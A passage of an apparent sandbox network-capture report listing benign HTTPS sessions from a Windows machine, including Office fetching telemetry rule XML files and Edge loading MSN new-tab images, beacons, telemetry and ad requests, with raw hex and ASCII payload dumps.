2024-11-26 09:09:33 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49841	13.107.246.40	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:33 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:33 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:33 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 65376a0f-201e-0059-5391-3f6d81000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090933Z-174f7845968px8v7hC1EWR08ng0000000vkg000000000cze Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 09:09:33 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:33 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:33 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090933Z-174f78459685m244hC1EWRgp2c0000000v2g000000003ybk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:33 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:33 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090933Z-174f7845968v75bwhC1EWRuqen0000000g500000000052hy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:33 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090933Z-174f7845968nxc96hC1EWRspw80000000uvg0000000099cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:33 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090933Z-174f7845968nxc96hC1EWRspw80000000uvg0000000099ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49846	20.110.205.119	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:34 UTC	1175	OUT	GET /c.gif?rnd=1732612172318&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3021cb2473a14ef8b69c57142c0e7b9b&activityId=3021cb2473a14ef8b69c57142c0e7b9b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1
2024-11-26 09:09:35 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732612172318&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3021cb2473a14ef8b69c57142c0e7b9b&activityId=3021cb2473a14ef8b69c57142c0e7b9b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=592C20CA0432444D92EC8C494133F002&RedC=c.msn.com&MXFR=110737551C0664D7127822161D1F6521 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=110737551C0664D7127822161D1F6521; domain=.msn.com; expires=Sun, 21-Dec-2025 09:09:34 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 26 Nov 2024 09:09:33 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49845	13.89.179.13	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:34 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732612172316&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3780 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1
2024-11-26 09:09:34 UTC	3780	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 39 3a 30 39 3a 33 32 2e 33 31 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 34 39 64 35 62 37 38 2d 61 32 32 61 2d 34 61 62 65 2d 62 35 62 38 2d 35 31 64 65 33 30 66 64 31 37 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 39 33 32 32 39 31 32 32 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-26T09:09:32.311Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"449d5b78-a22a-4abe-b5b8-51de30fd1714","epoch":"932291223"},"app":{"locale"
2024-11-26 09:09:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=82e78a46c2d24174b7a18c436727c6ea&HASH=82e7&LV=202411&V=4&LU=1732612174932; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 09:09:34 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=936d578ec7a34455962b2c93d8c8eade; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 09:39:34 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2616 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 09:09:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49847	23.96.180.189	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:34 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=110737551C0664D7127822161D1F6521&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=f4f773b2fae944f2be2056eb4dd43e78 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1
2024-11-26 09:09:35 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 09:09:34 GMT Connection: close
2024-11-26 09:09:35 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49849	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:34 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:35 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=187165 Expires: Thu, 28 Nov 2024 13:09:00 GMT Date: Tue, 26 Nov 2024 09:09:35 GMT Connection: close
2024-11-26 09:09:35 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49853	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:34 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
